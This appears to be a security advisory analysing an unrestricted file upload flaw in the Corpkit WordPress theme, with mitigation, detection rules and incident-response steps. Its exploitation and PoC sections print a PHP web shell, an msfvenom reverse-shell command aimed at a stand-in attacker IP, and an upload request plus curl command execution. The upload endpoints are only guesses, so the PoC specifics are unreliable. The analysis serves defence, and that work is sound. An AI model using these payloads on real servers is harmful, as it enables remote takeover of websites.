Comprehensive Technical Analysis of CVE-2025-67924

CVE ID: CVE-2025-67924 Vulnerability Name: Unrestricted File Upload with Dangerous Type in Corpkit Theme CVSS Score: 9.8 (Critical) Affected Software: Corpkit WordPress Theme (≤ 2.0) Source: Patchstack Vulnerability Database

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1. Vulnerability Assessment & Severity Evaluation

Vulnerability Type

CVE-2025-67924 is classified as an Unrestricted File Upload with Dangerous Type vulnerability (CWE-434). This flaw allows unauthenticated or low-privileged attackers to upload malicious files (e.g., web shells, PHP scripts) to a vulnerable web server without proper validation of file type, extension, or content.

Severity Justification (CVSS 9.8 - Critical)

The CVSS v3.1 scoring breakdown is as follows:

Metric	Score	Justification
Attack Vector (AV)	Network	Exploitable remotely over HTTP/HTTPS.
Attack Complexity (AC)	Low	No special conditions required; straightforward exploitation.
Privileges Required (PR)	None	No authentication needed.
User Interaction (UI)	None	No user interaction required.
Scope (S)	Unchanged	Impact is confined to the vulnerable component (Corpkit theme).
Confidentiality (C)	High	Attacker can execute arbitrary code, leading to full system compromise.
Integrity (I)	High	Malicious file upload can modify server-side files and data.
Availability (A)	High	Web shell execution can lead to DoS or complete server takeover.

Overall CVSS Score: 9.8 (Critical) This vulnerability is highly exploitable and poses a severe risk due to its low attack complexity, unauthenticated nature, and potential for full system compromise.

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2. Potential Attack Vectors & Exploitation Methods

Exploitation Scenario

An attacker can exploit this vulnerability by:

1. Identifying a Vulnerable Target

   • Scanning for WordPress sites using the Corpkit theme (≤ 2.0).
   • Checking for exposed file upload endpoints (e.g., /wp-content/themes/corpkit/upload.php).

2. Crafting a Malicious Payload

   • Uploading a web shell (e.g., shell.php, cmd.php) disguised as an innocuous file (e.g., .jpg, .png).
   • Example payload:

     <?php system($_GET['cmd']); ?>
     

   • Alternatively, uploading a reverse shell (e.g., using msfvenom):

     msfvenom -p php/reverse_php LHOST=<ATTACKER_IP> LPORT=4444 -f raw > shell.php
     

3. Bypassing File Validation (If Any)

   • If weak validation exists (e.g., checking only file extensions), attackers may:
     • Use double extensions (shell.php.jpg).
     • Employ MIME-type spoofing (e.g., Content-Type: image/jpeg).
     • Exploit path traversal to place the file in an executable directory.

4. Executing the Payload

   • Accessing the uploaded file via a direct URL (e.g., https://victim.com/wp-content/uploads/shell.php?cmd=id).
   • Gaining remote code execution (RCE) on the server.

Post-Exploitation Impact

• Full Server Compromise: Execution of arbitrary commands, data exfiltration, or lateral movement.
• Defacement & SEO Poisoning: Modifying website content or injecting malicious scripts.
• Persistence: Installing backdoors or rootkits for long-term access.
• Botnet Recruitment: Enlisting the server into a DDoS or cryptomining botnet.

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3. Affected Systems & Software Versions

Vulnerable Software

• Product: Corpkit WordPress Theme
• Vendor: zozothemes
• Affected Versions: All versions ≤ 2.0
• Platform: WordPress (self-hosted or managed)

Detection Methods

• Manual Check:

  • Verify the theme version in wp-content/themes/corpkit/style.css (look for Version: X.X).
  • Check for known vulnerable upload endpoints (e.g., /wp-content/themes/corpkit/includes/upload.php).

• Automated Scanning:

  • Nmap Script:

    nmap -p 80,443 --script http-wordpress-enum --script-args type="themes" <TARGET>
    

  • WPScan:

    wpscan --url <TARGET> --enumerate vp,vt
    

  • Burp Suite / OWASP ZAP: Intercept file upload requests to test for improper validation.

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4. Recommended Mitigation Strategies

Immediate Actions

1. Upgrade the Theme

   • Apply the latest patch from zozothemes (if available).
   • If no patch exists, disable the theme and switch to an alternative.

2. Temporary Workarounds

   • Disable File Uploads: Remove or restrict access to vulnerable upload endpoints.
   • File Extension Whitelisting: Configure the server to allow only safe file types (e.g., .jpg, .png).
   • Server-Side Validation: Implement strict MIME-type and content checks.
   • Web Application Firewall (WAF) Rules:
     • Block requests containing .php, .phtml, .pl, .jsp, etc., in upload directories.
     • Example ModSecurity Rule:

       SecRule FILES_TMPNAMES "@pm php phtml pl jsp asp" "id:1000,deny,status:403,msg:'Blocked dangerous file upload'"
       

3. Hardening Measures

   • Disable PHP Execution in Upload Directories:

     <Directory "/var/www/html/wp-content/uploads">
         php_flag engine off
     </Directory>
     

   • Restrict File Permissions:

     chmod -R 640 /var/www/html/wp-content/uploads
     chown -R www-data:www-data /var/www/html/wp-content/uploads
     

   • Enable WordPress File Integrity Monitoring (FIM):
     • Use plugins like Wordfence or Sucuri to detect unauthorized file changes.

Long-Term Recommendations

• Regular Vulnerability Scanning: Use Nessus, OpenVAS, or WPScan to detect new vulnerabilities.
• Patch Management: Subscribe to WordPress security advisories and Patchstack alerts.
• Least Privilege Principle: Restrict WordPress user roles to minimize damage from compromised accounts.
• Network Segmentation: Isolate WordPress servers from internal networks to limit lateral movement.

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5. Impact on the Cybersecurity Landscape

Broader Implications

• Increased Attack Surface: WordPress powers ~43% of all websites, making themes a prime target for mass exploitation.
• Automated Exploitation: Threat actors may develop Metasploit modules or exploit kits for large-scale attacks.
• Supply Chain Risks: Compromised themes can lead to watering hole attacks if distributed via third-party marketplaces.
• Regulatory & Compliance Risks:
  • GDPR (EU): Unauthorized data access may result in fines up to 4% of global revenue.
  • PCI DSS: RCE on e-commerce sites can lead to payment card data breaches.

Historical Context

• Similar vulnerabilities (e.g., CVE-2021-24345 in Kadence Theme, CVE-2022-0215 in Elementor) have led to massive botnet infections (e.g., Kinsing, Mirai variants).
• WordPress theme vulnerabilities are frequently exploited in ransomware campaigns (e.g., REvil, LockBit).

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6. Technical Details for Security Professionals

Root Cause Analysis

The vulnerability stems from insufficient input validation in the Corpkit theme’s file upload functionality. Key flaws include:

1. Lack of File Type Verification:
   • The theme does not validate file content (e.g., checking for PHP code in .jpg files).
2. Weak Extension Checks:
   • Only basic extension filtering (e.g., .php blocking) may be present, which can be bypassed.
3. No MIME-Type Validation:
   • The server may trust the Content-Type header without verifying the actual file content.
4. Insecure File Storage:
   • Uploaded files may be stored in web-accessible directories (e.g., /wp-content/uploads/), allowing direct execution.

Exploitation Proof of Concept (PoC)

1. Identify Upload Endpoint:

   • Common locations:
     • /wp-content/themes/corpkit/includes/upload.php
     • /wp-admin/admin-ajax.php?action=corpkit_upload

2. Craft Malicious Request:

   POST /wp-content/themes/corpkit/includes/upload.php HTTP/1.1
   Host: victim.com
   Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
   
   ------WebKitFormBoundary
   Content-Disposition: form-data; name="file"; filename="shell.php.jpg"
   Content-Type: image/jpeg
   
   <?php system($_GET['cmd']); ?>
   ------WebKitFormBoundary--
   

3. Execute Payload:

   curl "https://victim.com/wp-content/uploads/shell.php.jpg?cmd=id"
   

   Expected Output:

   uid=33(www-data) gid=33(www-data) groups=33(www-data)
   

Forensic Indicators of Compromise (IoCs)

• File System:
  • Unauthorized .php files in /wp-content/uploads/.
  • Suspicious files with double extensions (e.g., shell.php.jpg).
• Logs:
  • Unusual POST requests to upload endpoints.
  • GET requests with cmd= parameters in access logs.
• Network:
  • Outbound connections to known C2 servers (e.g., hxxp://attacker[.]com/c2).
  • Unusual cron jobs or scheduled tasks added by the attacker.

Detection & Response

• SIEM Rules (e.g., Splunk, ELK):

  index=web sourcetype=access_* uri_path="*/wp-content/uploads/*.php*" OR uri_query="*cmd=*"
  | stats count by src_ip, uri_path, uri_query
  | where count > 5
  

• YARA Rule for Web Shell Detection:

  rule Detect_PHP_WebShell {
      meta:
          description = "Detects common PHP web shells"
          author = "Security Team"
      strings:
          $php_eval = /<\?php\s+(eval|system|exec|passthru|shell_exec)\(/
          $cmd_param = /(\$_GET|\$_POST|\$_REQUEST)\['cmd'\]/
      condition:
          any of them
  }
  

• Incident Response Steps:
  1. Isolate the Server: Disconnect from the network to prevent lateral movement.
  2. Preserve Logs: Collect access.log, error.log, and WordPress audit logs.
  3. Analyze Malicious Files: Use strings, file, and VirusTotal to inspect uploaded files.
  4. Restore from Backup: Revert to a known-good state before the compromise.
  5. Patch & Harden: Apply fixes and implement the mitigation strategies above.

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Conclusion

CVE-2025-67924 represents a critical risk due to its low attack complexity, unauthenticated nature, and potential for full system compromise. Organizations using the Corpkit WordPress theme (≤ 2.0) must immediately patch, disable, or harden their installations to prevent exploitation.

Key Takeaways for Security Teams: ✅ Patch Management: Prioritize updates for WordPress themes/plugins. ✅ File Upload Security: Enforce strict validation, whitelisting, and execution restrictions. ✅ Monitoring & Detection: Deploy WAFs, SIEM rules, and FIM to detect exploitation attempts. ✅ Incident Response: Prepare for rapid containment in case of a breach.

Failure to address this vulnerability could result in data breaches, ransomware infections, or regulatory penalties. Proactive measures are essential to mitigate this high-severity threat.